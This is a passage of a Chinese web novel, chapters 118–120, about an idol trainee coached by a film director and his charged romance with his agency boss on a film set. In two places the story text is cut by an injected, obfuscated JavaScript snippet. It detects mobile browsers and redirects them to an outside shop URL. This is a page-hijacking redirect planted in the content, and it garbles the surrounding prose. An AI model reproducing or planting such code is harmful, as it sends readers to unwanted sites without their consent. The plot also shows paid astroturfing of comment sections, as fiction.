与血扇对立着的赵蘅眼眸全然被莹色覆盖,她几乎完全失去理智,被神力所充斥着全身,力量在皮肉下鼓胀,使她更想杀尽阎罗地狱。 “......死,”她如同呓语般地说,“今日,我便要血洗此地!” 听见这话,阎王判官皆是一抖,现在后悔也来不及了,谁知道这人竟是这么个不好惹的主。 赵蘅提戟,朝着血扇冲来,血扇正欲对付她,却不想赵蘅一跃而起,于空中翻身落地于要逃窜的阎王二人身前,二人当即脚步踉跄,她虽失了理智,却仍记得先杀谁,还未动作,一边的血阵中又接连闪出两物—— 一卷竹简冲到赵蘅面门前,她抬手挥挡,竹简展开,上书两个血色大字——赵蘅,字字泣血,竹简内传出的哭声阴沉凄厉,‘赵蘅’两字扭曲舞动,像活的一般,赵蘅又退几步,看见血阵中走出一红衣厉鬼。 这人一手持朱笔,一手将那竹简收回,他着官袍,戴官帽,像是人世里的朝廷官差,他下身无腿,陈旧的红袍衣摆处似有火烧痕迹,他眼珠全黑,面部有细密的裂痕,扭曲不平,似是拼起来的脸,气质沉静诡异,也不知在看赵蘅还是看不见。 “报上名来,我书你名,即上生死簿。”这人说。 “是‘红衣探郎’!”判官仿佛遇到救星,大口喘气,又急忙许诺到,“红衣探郎’,若你能将此人诛杀,我即日便将判官之位给你!" 红衣探郎原是探花郎,遭人谋害死后冤魂不散,阎王一早便看好他是个做判官的苗子。 红衣探郎不语,只是幽然向前飘着,似是准备将赵蘅拿下,才对得起他竹简上的血色人名。 两位鬼将都到了,判官心里安定不少,就算这人不是寻常神使,遇上千年鬼将怕是也要命丧于此。鬼将与厉鬼不同,他们的怨气形成鬼气,能浸染神力,腐蚀神兵,与天兵天将不相上下。 赵蘅立在原地不动,思索间,第三位鬼将走出血阵,血阵闭合,那人刚出来便就笑着,一身月白长袍,像是哪家富贵人家的公子走错了地方。 他面容清秀,笑时如清风拂面,只是,如果他那脸不会时不时变换的话,赵蘅会以为这不是鬼。 玉面鬼心,坠崖而死,死前遭受了极为痛苦的过程,此刻他那清风朗月之貌是自己幻化出来的,而时不时隐现的面貌,瘦骨嶙峋,眼眶处是两个血洞,汩汩鲜血不断流出,似是他的血泪。 他笑着走来,头上的发冠插着一截人指,面上容色变换不定,在场若有人,定会昏死过去。 不过在场的不是鬼怪便是神,无一凡人。 赵蘅只是眉头微动,并不慌神,她身体缓缓腾空,神戟贴背而立,衣摆飘动间,她狂言道:“可还有人要来,你尽管叫,来多少,我杀多少,今日便让阎罗殿成为真正的阎罗地狱!” 话毕,三鬼将分身立阵,血雾弥漫,法器腾飞,而赵蘅沉息吐气,将仅存之神力尽数激发,她身体被莹金光辉包围,发丝根根立起,冲冠怒颜,神戟直指三鬼将。】 剧情定在这一幕,导演拿起喇叭喊卡,吊满威亚的绿棚里,仍在半空的主演金圆儿好半天回不过神,眼睛里仍残存着怒气,对面的奚亭云三人也同时收声。 一边的监视器画面还没完全关闭,忽得冲入一个人,她带着满身的活力闯进镜头里,打破剑拔弩张的氛围,使一切都变得平和,她来到穿着红袍的奚亭云旁边,抬手就拍了下他,笑眯眯地说着夸奖的话。 奚亭云怔神了一瞬,像是有些恍惚,而后低头对着她笑。 118. 她又想亲他了 等演员们的情绪恢复稳定,导演才来和几人详聊剧情细节。 主演金圆儿的形象与主角形象相差很大,演技略显稚嫩,但却心存一股拼劲,从刚才过戏的那段表演来看,表演张力略差,情绪却非常到位。导演跟她讲解一些需要变动的地方时,她也耐心地听着,时不时的做出思考神态。 接着就是奚亭云他们了。 宫欢陪同在旁,导演过来时还朝她点点头示意: “你们的表现非常出乎我的意料,虽然是客串角色,不过每个人都非常有特色,人物鲜明立体,你们的长相也都很上镜,后期我们会加特效,你们的施法动作会更有戏剧张力。就是一些小的神态表情可以再精进一点。” “您尽管说。”得到认可,三人都面带笑容,奚亭云也难得地笑着看人。 导演分别对三人做出更细节的点评:“我最近观察过你们,像萧子重,是非常专业的演员,入戏快,状态到位,只是需要完成‘表演细微化’的一些改变,这个对你来说应该不难,只要找到窍门就可以。” 萧子重一口答应:“没问题,我收敛点就行。” “还有这位安声,你就继续保持你的本色就行,你平时的状态就很符合这个角色。”安声连连点头。 自己的人被夸,宫欢脸上小表情藏不住,连站着都忍不住摇晃着身体。 “你是,奚亭云对吗,”导演看着他说,“你的话,有些难。” 奚亭云脸上的笑意僵了僵,但仍保持着谦卑:“您说。” “你自身的性格与这个角色有很大的差别,”所以他没办法像安声那样符合人物,“你对表演很生疏,我看得出来,”所以他只能拼命去学习练习,“虽然你尽力去融入人物了,可这些细微的僵硬,努力,在镜头里面都是非常致命的,哪怕是眨眼,面部肌肉的细微抽动,都要有它的对应内涵在。” 导演话音落下,几人间原本因为初次试戏的成功雀跃欣喜的氛围,又悄然转变。 大家都听出来了导演的言下之意,互相看了看对方,一时间不知道要怎么说。 哪怕是同样无经验的安声,都做到了符合人物这点。 而奚亭云呢,他不分昼夜的学习微表情,去钻研人物,吊上一整天的威亚痛到浑身淤青乌紫,结果却是这么个评价吗? 宫欢拿眼神瞄了瞄奚亭云的脸色,看不出异样。导演说的她未必不知道,这三个人无论是做男团还是演员都不可能尽善尽美,哪怕是影坛天王,都有不专业的地方,但这些不完美出现在被捧到天上的人身上就是可爱。 在普通人身上,就成了缺陷。 “您说的是,我最近刚请了表演学院的老师来,就是想让他们多精进一下自己,”宫欢打着圆场,“哪里还有问题,您多提点,我好让他们自己去琢磨琢磨。” 这位元导演对演员的要求高是业界内公认的,毕竟人家走过那么多年的影视行业发展路,见过大风大浪,能得上这位导演的指点,一般人求之不得。 元导对宫欢笑笑,目光在三人身上转动,略作沉思。 她与陈导是熟人,这次又一起参与【风雨九州】的制作,自然从陈导那听了不少关于宫欢的好话。什么宫欢为人洒脱,做事爽快,她也会挑艺人,艺人个个看着气质不俗,脸型有特色,非常适合上大荧幕。 陈导尤其点了点,那位叫奚亭云的艺人。 陈导的说法较为夸张,她是非常浪漫主义的人,作品也多偏这种风格。她那天和元导说起宫欢的艺人时,这样描述: “我当时看见他,一下就好像被拉入了一个情景中,他的神态,气质,无声的氛围感扑面而来,电影画面一下就在我眼前成型了。”陈导回味着那让人无法抽离的一幕,“我做导演这么多年,能遇到的有故事感的演员没几个,有的那几个现在也都成腕儿了,咱也高攀不起啦哈哈哈。” 说笑归说笑,陈导的话确实让元导对这个叫奚亭云的人多关注了些。 艺人刚进组那段时间,她调度剧组拍空境的间隙,常常看见他拿着剧本自顾自的待在角落,是想认真学的好苗子,但是路子不对。 以至于,今天的试戏有些不如人意。 但这并不影响什么,一个适合大银幕的演员,不论经过怎样的挫折磨难,都只会为他的表演添刻真实。 “你想单独聊聊吗?”元导笑着问奚亭云。 惊讶声顿时此起彼伏,连宫欢都微微瞪大了些眼睛,奚亭云还没反应过来,她便忙着推他,替他答应:“想的想的,他想,快,去好好和元导聊聊,看看你还有哪里需要改进的地方!” 奚亭云被宫欢推得往前快走了几步,他倒没觉得受宠若惊,只是向元导微微鞠躬点头,谦逊道:“麻烦您了。” - 湖边是个聊天的好地方。 天已然黑透,月光将湖面照得波光粼粼。 元导走得略靠前,奚亭云则在后面跟着。 刚才一些剧组人员的悄声八卦并不悄,奚亭云听得清楚。 “元导果然要给宫欢几分薄面啊”、“金圆儿和宫欢那边谁都不敢得罪,一个是钱,一个是大炮仗,元导肯定要上心的”。 他遇到的所有善意与好的待遇,都并不是无缘无故掉落的,而是借由宫欢的身份,才落在他身上。 他得记清楚这点,不能忘记自己是谁。 “你的表演按照一般的影视剧要求,已经算是合格了。”元导背过双手,面向湖面。 “但是在您这里,我还差得很远,”奚亭云仍穿着戏服,他发自内心地说,“我确实是个外行人,哪怕学了很多的技巧,看过那么多表演,到自己这里了,却没有那么容易就学会。” 元导年近50岁,已过了人生大半,她见过的演员数不胜数,无论是天赋型选手,还是努力型草根,都有自己的一套表演体系,经她手塑造的演员们多少对自己的表演都会有把握。 宫欢早就给他们科普过这位大导演,让他们把她说的话都当成圣旨来听——仅次于宫欢本人的圣旨。 元导侧过头看着拘谨的奚亭云,笑了笑,语气里很和善:“也许,你不用刻意去学习。” 什么? 奚亭云以为自己听错了,他困惑地皱了皱眉,连眨好几下眼睛,难得露出点错愕来。 “不,学习?” 他还是头一次听见这样劝人的,但凡进了娱乐圈的人,哪怕是他的粉丝身份,都要学习如何做数据,打榜,评分,p图,做剪辑等等。 那他想,做演员更应该要多学习。 “没错,”元导再次肯定了自己的话,“你现在学那么多,懂了多少呢?” 奚亭云沉默了一瞬,摇摇头。 “这不就是了,其他人的学习是基于有基本功的情况下,才更深入的学习。那么你呢,你只是刚接触表演,对什么都一知半解,你学习要从哪里学起,学得不对,会不会走火入魔啊。”元导语气略显夸张,有些好笑。 奚亭云抿唇露出了点笑意,垂眸看着草地上摇摆的草叶,生涩而无措:“可我不知道该从哪里做起,什么都不学,也许我今天连演都演不出来。” 元导:“你试试忘掉各种各样的表演方法,只把自己想象成你需要饰演的那个角色。” “刚才我说了你的表演生疏,不过我可没说你演得不行,你也许并没感觉到,你拥有能一瞬间抓住人眼球的能力——故事感,这是多少人都想拥有的东西,纯天然,符合你本人特质的存在。” “故事感?”奚亭云重复道,“这到底是什么。” 他确实看到过书上写过这三个字,但描述都非常抽象,什么,拥有故事感是一个演员最重要的东西,有了故事感你就有了演技等等等等。 他完全没注意过这个,只往演技那方面去钻牛角尖。 “是很奇特的一个东西。”元导低头左右看看,忽得一弯腰,单手撑着草地坐下,两手搭在微曲的膝上,仍是看着远处的湖面,这一刹那,奚亭云感觉自己好像在看一部电影。 “你看过一些电影吧。”她问。 奚亭云也跟着坐了下来,“看过。” “有些电影演员一出场,镜头一照到他的那张脸,故事感油然而生,你情不自禁就为他脑补出一系列的剧情。当然了,他们的面部微表情也很到位,对肌肉的掌控管理,对眼皮,眉头部分的肌肉控制,那其实都是演员有意的表演。” “我说你不用学习,意思是,你的学习体系不应该是啃书,闷头钻研,而是去体验。” 奚亭云认真地听着,眼睛几乎一眨不眨地看着元导。 “你是天生的故事感演员,你的表演不应该去遵循任何一套表演体系,而是由你自己创造。” “先去沉浸角色,进入他,然后再去表演,所有的细节,像是表情,肢体动作,这些去学真实的、存在的,你要能摸到感触到,才能更深刻地融入到自己的表演里面,甚至是你自身的,与你一体的表演,哦不,那已经不是表演了,是真实的流露。” “其实简单来说,就是入戏,但是入戏也是最难的一步。” 元导说了很多的话,奚亭云都听了进去,没有一句漏掉。很少有人会和他聊这么多——他需要学习的方向,他真正应该做的是什么,而不是胡乱做一堆看似勤奋的事情,实际上却对他的帮助不大。 刚才试戏的时候,他知道自己的问题在哪,是入戏不对,他没有进入角色当中,只是靠一些浅显的表演来维持角色状态,看似是演戏,其实不过是他披着一层外衣假装罢了。 元导看出来了,但她没有在其他人面前戳破他,而是为他开解,教他怎么做。 “谢谢您特意跟我说这么多话,”奚亭云诚恳地说,“我只是一个算不得演员的人。” 聊了大半个小时,元导摆摆手:“只是看你认真,是个在用心的人,现在很多人都不用心了。” 奚亭云礼貌笑笑,静静地坐了会,等元导走后,他才拍拍身上的草,往帐篷的方向去。 - 一进到帐篷里,宫欢便抬起头看过来,她难得地没有装作看不见他,而是主动摆手,示意他过去。 他仍穿着那身暗红色古装,长发有些散乱。奚亭云无意识地加快脚步,两三步就到了她旁边,貌似是刹不住车,上半身前倾着像是要扑上去的意思,他紧紧追着她的视线:“怎么了,欢欢?” 他往前扑,她自然就往后躲,腰往后倾斜,两手挡在身前要隔开距离,宫欢示意他冷静:“没没没什么,你别急,我就是想问刚才元导和你聊什么了?” 原来是想问这个。 奚亭云微不可查地失望了一瞬,但很快又恢复过来,毕竟,宫欢在关心他。 他眼神往她身后的马扎上看了一眼,示意她,宫欢自觉坐了回去,奚亭云顺势坐在另一边。 他眉眼低垂着,思考怎么开头。帐篷内只有他们这边亮着一盏壁灯,旁边的两人都陷入了熟睡,此刻坐下来,气氛安静得让人喟叹,身心都放松着。 灯光将他侧脸勾勒得分明,下颌线与鼻梁连作一线,流畅而利落,宫欢的眼睛不自禁在他鼻梁上游走。 他像是捕捉到了这点注视,忽的抬眼,和她目光撞个正着,宫欢连眨好几下眼睛装作看不太清的样子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126409|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奚亭云弯了弯眼,眼底的眸色看不太清,灯是昏黄的,他眼睛也朦朦胧胧,像清晨时布满雾色的湖面。 “你们聊了很久,”宫欢干脆自己开头引出话题,“大导演很少会在小演员身上花时间,她是什么态度?” “只是说,我还差得很远,”奚亭云嘴角若有似无的笑意渐渐收敛,眨眼间换了副模样,他语气低落,甚至有些闷,每个字都像是从身体里挤出来的,“如果我演得还是那么差的话,她会提出换人。” “什么!?”宫欢调门一下拉高,人也刷得站了起来,她微皱着眉,当即急躁起来。 “怎么会这样呢,你表现还行啊,我看其他的配角有的吊威亚都要替身,不至于啊……” 奚亭云看着她来回踱步,放在膝上的手指紧了紧,喉结微滚,他又启唇,嗓音干涩地说:“我可能演不了戏了……” 宫欢一听这丧气话,忙不迭转头看他。一眨眼的功夫,他眼尾下垂,眉头低着,浑身散发着一种“我完蛋了”、“我要被踢出娱乐圈”的气息,可怜得不行。 他面部妆容微微晕开,却不显脏,反而是有些烟熏妆的观感。红衣长袍的火燎下摆搭在修长的腿上,整个人被笼罩在昏黄灯光里,幽幽地摄人心魄。 “怎么可能!”宫欢赶紧上前安慰,她支着两只手,像对着烫手山芋似的,绕着奚亭云纠结了半天,最后只好选在了头顶——轻轻摸了两下安抚他。 “那些导演说话一直都这么难听,他们拍戏的时候还会骂人,一点情面都不留的,你别在意他们的话,”手指下的长发蓬松度高,发丝却硬,有点扎手,宫欢强迫自己忽略手感,“她就是吓唬你的,好让你提起百分百的心思去演好角色。” 他闷闷嗯了一声,头的重量往她手上压,极力去蹭她的手心,宫欢又不敢触碰过多,不断后撤,最后——奚亭云的头没有任何阻碍地触碰到了宫欢的腹部,她当即浑身一紧,抽回了手,衣服下的腹肌都缩了缩。 她两只手无措地支在身体两边,尽力忽视奚亭云的头靠在她身体的那块部位,绞尽脑汁想着对策:“你演戏有哪里不懂吗?可以去问表演老师…或者是萧子重。” 这个姿势两人都不会太舒服。 宫欢身体微弯,尽量让自己反应不那么大。奚亭云则是身体前倾,头和身体倾斜得角度很大,快要脱离马扎似的。 “不想问他们……”奚亭云闷声闷气地说。 “什么?”宫欢没听清。 他突然将头抬起,眼睛直直地仰视向她,长发尽数散落倾泻在他肩后,如一副山水画,两人一上一下,平时沉稳不变的眼睛,像被打破了的镜面,破碎的光亮闪动,宫欢落进他脆弱无助的眼中,一下晃了神。 也因此没注意到,奚亭云轻轻揽着她的手肘将她往身前拉,她不知不觉往前移了两步,到了他可以轻而易举地环住她的程度,奚亭云才微微呼出些气息。 他坐在小小马扎上,长长的膝腿曲着,带着火烧痕迹的红衣堪堪落地,因为宫欢的靠近,腿往外伸展了不少,将人拉近后,两腿往中间靠拢,像是想将她完全圈住。 宫欢还在晃神,怕她太快反应过来,奚亭云紧跟着追问:“如果我演不了戏了怎么办,你是不是就会解约了?” “怎,怎么会演不了,你演戏哪里有问题吗?”宫欢完全陷入在他脆弱,破碎的神态里,怜爱之心起来就无法轻易下去。 奚亭云眼睫微动,壁灯的阴影里眼睫也幻化成大片阴翳,将宫欢完完全全地勾走。 “我入不了戏。”他说。 “这个不难啊,”宫欢还在为自家艺人的困扰努力解惑,“之前那个谁来着,演戏一塌糊涂,别提入不入戏了,他用的就是沉浸式表演法,你就把自己幻想成上天入地无所不能的主角,不要觉得自己是在演,你就是本人……” 奚亭云认真地听着,时不时嗯一声回应,有时候微微扬眉作出了然,明白的神色,如同大彻大悟,被开解了一般。 “这样,你能理解吗?”宫欢说得口干舌燥,歪了歪头问他。 奚亭云缓缓点头,嘴里说着“明白了”,宫欢欣慰不已,果然,她看中的艺人就是顿悟能力超强。 “只是,”奚亭云又说,宫欢不禁去看他,等待他说下文,他咽了咽唾液,“我入戏有点麻烦。” “我需要找到一个帮我入戏的角色,我才好进入那个状态,那个角色是我幻想的一个角色……” 宫欢差点就要非常鼓励地说“那很好啊,继续保持这样”,直到他对上奚亭云暗含期待与意味不明的眼神,她直觉咯噔一声,大喊不妙。 ——“我可以,把它幻想成你么。” 呼吸霎时间凝滞,空气变得浓重稠化,连身体知觉都在不断流失,又不断恢复,宫欢短暂的耳鸣了一瞬,大脑嗡嗡响,她缓了很久,奚亭云没有半分不耐,仍是保持着仰视的姿态,眼睛一眨不眨地看着她。 等她说出一个音节,等她说出一个回答。 宫欢试图逃避这让人头皮发麻的氛围,她的嘴唇张合着,说着乱七八糟前言不搭后语的话,“我,我家后花园灯没关——” 她刚后退半步,就遇到了阻碍,身后是奚亭云的腿,不知何时,将她圈了起来。 不等宫欢反应,奚亭云伸手过来拉她,同时收紧腿的圈拢范围,她这才发觉两人的姿势有多暧昧,她被困在他两腿之间,不能前进,不能后退。 偏偏他气音低沉,带着笑意,悄声得仿佛情人耳语:“可以吗,欢欢。” 她视线停在他暗含撩拨,悄无声息勾人的目光里,狠狠咬了咬唇。 她又想亲他了。 119. 对不起 对不起。 一直以来,奚亭云都觉得歉疚。 他没有经过她的允许,自私的,放纵的,过分的。 最开始的时候,他是抱着永远都无法见到她的心思,企图在每个幻想时刻为自己构建出一个宫欢存在的世界。他闭上眼,他走神时,甚至是他想的话,宫欢就会出现在他的眼前,身边。 没有任何阻碍隔阂,她随心所欲地在他的世界游走,他感到充盈的满足,可每次回归现实后,空荡重复的生活,日复一日的规律,他在重复中痛苦,在平庸里麻木,生活是无趣的,枯燥的,从以前到未来,都是在重复每一天的规律。 那有什么意思,有什么意思呢? 奚亭云得不到答案。 生活就像黑白的电影画面,没有声音与色彩,而从宫欢穿着蓝裙出现的那一刻被染上颜色,最开始是蓝色,后来是她最爱的复古红,再就是持续两年的梦幻色彩。 那段时间,唯一支撑他有生活动力的只有宫欢。 看她的海报图片,看她的活动视频,做她的粉丝,为她组建一整个后援会。她知不知道他的存在都没有关系,他不奢求任何回应,他只是想将生活的寄托投射在她身上,也许这样,他才能活下去。 才不会被看不到尽头的生活折磨致死。 他不打算让宫欢知道这件事,现在,他有新的身份可以靠近她,如此完美,如此值得她拯救的一个角色,她怜爱他,心疼他,他便控制不住地,得寸进尺地想要更多的关注。 粉丝的身份,他可以一直藏在心底,只要她不想知道,他永远都不会暴露。 这都不重要。重要的是她的态度。 他故意这么说,她会作何反应,是嫌恶,厌恶,讨厌,烦躁,还是... “你发呆很久了,”奚亭云抿着唇笑,眼眸弯得温柔,他意有所指的眼神在她唇上滑动,“你一直看着我这里,是,想亲吗?” 宫欢猛然回神,她慌乱地眨了好几下眼睛,看着有些可爱,她轻咳两声故作镇定,装作没听见他后面的话:“可,可以吧——等等,你刚才问的什么来着?” 嘶,她答应的是什么? 他说什么亲? 上一个问题又是什么? 好像提到幻想什么的? 脑袋一团乱麻,但宫欢是谁,她会随随便便着了别人的道吗。 挥去刚才乱糟糟的想法,她垂眼看了看奚亭云,对上他幽深的眼睛,很矛盾,他神情带着说不出的执拗,手也紧紧攥着她的手腕,却努力做出暧昧温柔的模样来,像是在努力为自己的脸拼凑出一副假面。 她顿时恍然惊醒。 之前她一直提醒自己要做吊着他的胡萝卜,可是却一步步走得更近。她亲了他一次,他就想要两次,三次,甚至现在胆子大到这种地步,旁边还有其他人在,他就迫不及待地开始勾引她了!? 前面的内容全都是一种铺垫,只有现在的时刻,才是他想达成的目的。 该死!她差点着了道,早就该知道奚亭云不会被轻易摆平的,她居然还敢大意,意,意乱情迷!? 宫欢心里呼出气,好险,还好她及时恢复理智。 她镇定下来,眼睛也恢复了神采,滴溜溜转了转。 她就着俯身的姿势,一手轻轻搭上奚亭云的肩,看着他的眼睛慢慢凑近,耳边清晰地听见他呼吸急促着,她抿唇忍住胜利的笑意,继续下去—— 奚亭云自觉地屏住呼吸,眼皮微合,却没闭全,露出一条缝隙,于是看见宫欢靠近的唇忽得停在半路,他怔了怔。 紧接着,耳侧的一缕长发被她撩起,他又睁开了眼,略显无措地看她玩着那一缕头发,听见她明晃晃地问:“你想亲啊?” 她挑眉,意味深长地用手指将那缕头发缠了几圈,纤细修长的手指被黑发包裹着,他紧盯着那里看,喉结不自觉滚动,轻微的呼吸声音沉闷而性感。 他闷闷嗯了一声,又看她近在咫尺的猫儿眼,平时灵动漂亮的眼眸,此刻无声染上魅色,蛊人得很。 “啧啧啧,”她故作挑剔的态度,傲气地拿眼扫他,像是在打量,“你想亲就能亲?哪有这么好的事?” “那,怎么才能亲?”他问。 怎么都不能亲!宫欢险些骂他,但为了制衡住心思躁动的艺人,让他老老实实当牛做马,她要好好钓着他...... 她松开手指上的那缕头发,发丝弯绕着垂落下去,奚亭云的眼神跟着那缕头发垂落,很快,她手指扶住他下颌,托着他下巴强迫他看着她,泛着淡粉的指甲刮蹭着他下颌处的皮肤,轻蹭几下。 他忍不住闭眼仰起头,喉间下咽着些唾液,喉结不停地滑动。他抬手轻握住宫欢的手臂,延展的大手慢慢向上覆盖住她的手,十指扣入她指缝,牵带着她的手拢住他整个脖颈。 纠缠交握的手指将他脖颈紧紧缠绕,奚亭云睁开了朦胧的眼,撞入宫欢怔愣的眼中。 奚亭云的手指在她指缝中磨蹭,他脸色微红,胸前的心跳声几乎要撞破出来,放松时,他又喘息得厉害,半阖的眼底浮着一层破碎的水光。 他就是这样…… 宫欢的手已然不受控,手心下炽热的皮肤温度似乎要融化她的每根手指,偏偏奚亭云的手又覆盖着她的,他手心也是滚烫的,两边都夹着她,十指连心,心跳也不受控,像主人的心思在身体里乱撞。 他们周围的空气升温,呼吸是以她呼他吸的频率进行,像是回合制的场景。 明明没有亲,宫欢却觉得这比亲了更可怕。她只是想摸摸他的脸,意思一下,谁会知道他这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126410|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ......这么有手段? 她似乎从他身上看到什么,从眼中,皮肤上,每根发丝,每个喘息声中,都在无声泄露。 奚亭云本就长相好,此刻氛围熏染,光线昏暗,他知道自己哪里好看,怎么做最勾人。眼睛弯的弧度,眸色的朦胧,甚至是喘息的控制都有意无意地放纵。 指腹触到他凸起的喉结,酥麻骨胀的感觉层层叠加,宫欢不由得微微抖了下,她想抽回手,被奚亭云察觉到,没有如她所想地抓紧,反而缓缓松开了些力度,任由宫欢抽手回去。 他原本覆盖她的手停在半空,好半天才收回去。 他脸上红得不正常,眼尾红,眼睑红,脸颊耳根都是红的,冷白的肤色被染上极其浓艳的色彩。宫欢看了两眼就错开视线,不敢多看,怕她思想不干净。 但是,还是忍不住,时不时瞥他几眼。 谁都没有说话,暧昧旖旎的氛围慢慢散开,奚亭云收回了圈着她的腿,宫欢则腿微微发软地坐回了充气床上。 呼吸声从略重到渐渐平缓,宫欢垂着眼没看他,脑袋一阵阵地嗡鸣,没有思考能力。 “欢欢,”他忽然叫她,嗓音哑得厉害,宫欢登时坐直了背,她抬起头来装作游刃有余的样子,昏暗光线里不甚清晰地又看见他喉结微滚,“早点休息,我去洗漱一下。” 说着,他起身绕去了帐篷后面的洗漱间。 宫欢这回才彻底放松下来,她瘫倒在床上大口呼吸着,两手摸了摸脸,还烫得厉害,她暗骂自己不争气,见过大风大浪的人,怎么还这么容易被带着走。 她不是没见过想上位的人。 从她创立工作室以来,因为行事作风高调,不少媒体就在炒她的嚣张跋扈,黑红的人设一火,不少艺人都想走她这条路子,前仆后继的新人无数,男男女女都向她卖过好。 更有人查出过她的身份背景,拼了老命地出现在宫欢眼前,用姿色,用手段,用PUA等等方式,尝试引起她的关注,希望从而能得到黑红的路子。 那些人的手段,宫欢一眼看出,眼底的野心与欲望太明显,即使再出色的皮囊也无法掩盖其骷髅的本质。 奚亭云会是这样吗? 他刚开始想要的也许不多,只是能挣到点钱,生活轻松些。 可怎么走上了这条路的,是对钱,虚荣的欲望? 想想也是,她现在对钱都求之不得,试图翻身打破那些舆论,何况一个奚亭云呢。 她躺在床上,蜷缩了身体,抱紧柔软的薄被将脸埋在里面,她想,他应该也和那些人一样,并没有任何区别。 他引诱她,对她特殊,总是有意无意地表现出非她不可的态度,只是想通过她,得到更多的利益。 都一样的,在钱权世界里,人并无任何区别。 120. 风雨九州12 试戏期间,三人身上仍存在许多小毛病。 比如不小心盯着镜头看,或是眼神看着场外的工作人员出戏,元导都会出声提醒,刚开始是提醒,后面重复出现错误后,难免就会开始骂人了。 一改先前的老派大导演作风,骂起人来宫欢都不敌。 “萧子重,你飞过去的时候是人不在了吗,脸上为什么没有表情,你是飞过去杀她的,狰狞呢?置人于死地的决心呢?”元导在监视器后严厉抓着每个细节,“别以为摄像机没拍你你就能没表情了,你演话剧的时候,也是这种态度吗?” 她言辞犀利,硬生生把萧子重说出一头的汗,不敢再懈怠了事,即使重拍十几遍,也都努力提起状态。 宫欢幸灾乐祸地在旁边做鬼脸,见萧子重吃瘪,比赚了钱还开心。 “宫欢,你影响演员发挥了,走远点。”元导连她一起批斗,宫欢只得收敛,拖着脚步老实走远。 走到其他工作人员身边,见主演的助理举着手机拍花絮视频,宫欢饶有兴致地看了半天,才想起来自己现在也算半个助理,她慌忙拿出手机,一本正经地对着三人开拍。 视频画面里出现三人吊着威亚四处飞转的潇洒姿态,鼓风机对着他们吹,一时间发丝衣袍纷飞,配上三人入戏的神态,旁观的人真有了种身临其境的感觉。 宫欢正欣赏着,忽然听见远处不断传来地咔嚓咔嚓的拍摄声,抬头看过去半天找不到拍摄者。 还是旁边的主演助理有经验,一跺脚指着湖对面的一棵树,高声大叫:“那边有代拍!!快去拦下他们!” 其他助理们同仇敌忾,几人结伴就找了过去,留下宫欢在原地仰着头到处找:“哪儿呢哪儿呢,代拍在哪儿啊,我怎么看不见!?” 一个助理看不过去,走过来挨着她,伸出手指戳着她还在拍摄的手机镜头,放大三倍,放大五倍,放大八倍,模糊成几乎是像素级别的相机画面里,一棵歪脖子树的分叉枝桠上趴着一个肩扛‘大炮’的人影。 宫欢嘴大张着要坠到地上:“这可是湖对面!!差了起码十公里吧!?” 这位助理习以为常:“哪怕是在山上他们都能给你拍出一张高清照来,这都算是正常操作了。” 代拍通常要看是否是私人行为,剧组班底在拍摄中对外保密,那代拍则就触犯了底线。 【风雨九州】并未对外公开拍摄进程,路透花絮都由各家工作室发出,这个代拍估计是哪家粉丝买来的。 等一群助理赶到时,那代拍早已溜之大吉,影儿都没一个。 一群人气得直骂。 当天晚上【风雨九州】路透视频便出现在了社交平台的热门视频里。 从主演金圆儿的拍摄路透,过戏路透,到配角路透,视频里拍得一清二楚。网上本就因为不满一个二三线演员出演这部大IP的势头更烈,网民一见金圆儿穿上了主演的衣服,作着主演的架势,个个都开始唱衰。 迟迟吃:【我都没听说过主演的名字,这又是哪家走后门的人,直接就坐上女一啦?】 是哦你就神经吧:【之前传四小花旦中里必有一个出演,结果谁知道来了个连脸都不熟的,合着就是拉我们溜,炒热度啊,什么手段,真下作。】 龟龟爬爬:【金圆儿之前演的都是女二,演技也就那样吧,这次是真要毁了经典IP了——就说国内拍不好改编剧本,还天天爱改编。】 路透视频不断升热度,发布视频的账号之多根本无法确定来源,主演工作室只好摆烂行事。 宫欢原本是看戏的那个,这几天嗑着瓜子翻路透视频,刷评论区的风向,看得正乐,就见有人开始挑事了。 路透视频有多个,而最近金圆儿和奚亭云他们正在过戏磨合,拍‘大闹阎罗殿’的剧情,三人不可避免地被连带入镜,评论区开始转移战火。 【这三个不是前段时间的x男团吗!?】 【他们居然去出演‘风雨九州’!??】 【完了完了,大IP改编必暴雷定律诚不欺我啊。】 刷了七八个与奚亭云他们相关的视频,里面清一水的贬低,不看好,宫欢险些将瓜子皮嚼碎咽下肚。她当即操作电脑,召唤水军,要求必须看到所有的路透视频下面看到夸他们的,不论用任何办法。 好在大多数人的火力对着的仍是主演,三人只是被小部分人关注,顺带嘴的骂几句。这种情况对于常年营销的专业人士来说,是最好的状态。 并不是一水的夸才最好,夸贬参半,讨论度才会高,一高,不论路人或是粉丝,关注的人自然增多,小透明也能成当红小星。 路透视频遭受围攻期间,宫欢连轴转地完全充当了助理,除了联系水军,沟通营销外包公司外,还要每天跟着三人,监督他们饮食、训练,手机不离手地拍摄着他们的训练内容。 得亏三人形象条件好,经得起各种角度死亡拍摄。 宫欢举手机举得手酸,经常随便抬手拍一张发给营销组,她拍照一般,不如高姐助理们专业,一百张照片里能挑出五张好看的就不错了。 视频就好多了。三人的训练武打戏的视频被宫欢拍了三四百个视频发给剪辑师,花了几天剪出许多短视频成品。 再由水军营销号齐下场发视频,配合【风雨九州】路透视频的热度一起,也小火了一把。 